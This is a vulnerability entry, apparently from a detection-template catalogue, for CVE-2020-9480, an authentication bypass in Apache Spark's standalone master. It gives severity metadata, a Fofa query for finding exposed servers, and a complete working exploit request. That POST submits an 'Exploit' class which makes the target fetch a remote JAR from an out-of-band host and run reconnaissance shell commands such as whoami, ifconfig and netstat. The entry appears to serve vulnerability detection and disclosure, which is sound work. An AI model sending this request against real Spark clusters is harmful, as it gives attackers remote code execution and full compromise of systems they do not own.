| Title | Apache Spark - Authentication Bypass |
|---|---|
| Author | riteshs4hu |
| Severity | Critical |
| Impact | Attackers can execute arbitrary shell commands on the host machine, leading to full system compromise. |
| Remediation | Update to Spark 2.4.6 or later to fix the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.933 |
| CVE ID | CVE-2020-9480 |
| CWE ID | CWE-306 |
| Fofa Query | port="6066" && banner="Spark Master" |
| Tags | cve cve2020 apache spark auth-bypass vkev vuln |
In Apache Spark 2.4.5 and earlier, a standalone resource manager’s master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application’s resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine. This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).
POST /v1/submissions/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 656
Content-Type: application/json
Accept-Encoding: gzip
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],
"appResource": "http://d5jp4i1le0o0v32nq8f0bs6cnu9xf3u3u.oast.site/YQQNU.jar",
"environmentVariables": {"SPARK_ENV_LOADED":"1"},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://d5jp4i1le0o0v32nq8f0bs6cnu9xf3u3u.oast.site/YQQNU.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://www.victim.com:6066"
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9480.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9480.pcap
N/AN/A